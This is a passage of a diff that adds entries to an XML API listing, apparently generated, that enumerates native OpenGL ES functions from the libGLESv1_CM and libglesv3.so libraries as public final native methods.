+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointSizexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFogxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFramebufferAttachmentParameterivOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFrustumfOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPopMatrix" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColor4ub" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationSeparateOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glNormalPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBGLESV1_CM" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPolygonOffsetx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexGenivOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferRenderbufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFixedvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMultiDrawArraysEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFuncSeparateOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPixelStorei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexEnvfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glAlphaFuncxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetRenderbufferStorageOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFogxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexGenxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTranslatef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorageMultisampleIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexivOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTestFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetBufferPointervQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLineWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearStencil" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexsvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDiscardFramebufferEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTranslatex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLoadMatrixf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsFramebufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMatrixMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFrustumf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferPointervOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLoadPaletteFromModelViewMatrixOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSampleCoverage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLightxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTranslatexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanexIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBufferSubData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetClipPlanefOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPointSizex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexGenxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPolygonOffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetTexture2DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glAlphaFuncx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLoadMatrixx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFrustumx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libglesv3.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFenceSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFunci" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameterIuivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageCallbackKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetInteger64v" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenProgramPipelines" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix2x4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPushDebugGroup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorageMultisample" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageControl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribIiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetObjectPtrLabel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDispatchComputeIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribBinding" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnableVertexAttribArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMemoryBarrierByRegion" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterIivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformIndices" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexLevelParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterIuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteFramebuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glObjectPtrLabelKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnablei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClear" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetAttachedShaders" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexBufferRange" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteRenderbuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribIFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageInsertKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glObjectLabelKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUseProgramStages" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix4x2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindVertexArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetObjectPtrLabelKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClientWaitSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribI4iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix2x3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindVertexBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEndQuery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFlush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCullFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPopDebugGroup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElementsBaseVertex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetnUniformiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glActiveShaderProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glColorMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDispatchCompute" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glInvalidateSubFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix3x4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBooleanv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawRangeElements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glShaderSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glScissor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix3x2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLinkProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCreateShaderProgramv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFunciEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferParameteri64v" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterIiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glViewport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendBarrierKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFinish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteSamplers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribI4uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterIiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix4x3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glActiveTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterIuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexStorage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramPipelineiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBufferData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform4ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearBufferfi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib1fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix2x4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetQueryiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearColor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage3D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisableVertexAttribArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glPatchParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilMaskSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetDebugMessageLogKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsProgramPipeline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexStorage3DMultisample" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFramebufferAttachmentParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameterIuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearBufferfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsVertexArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribI4i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
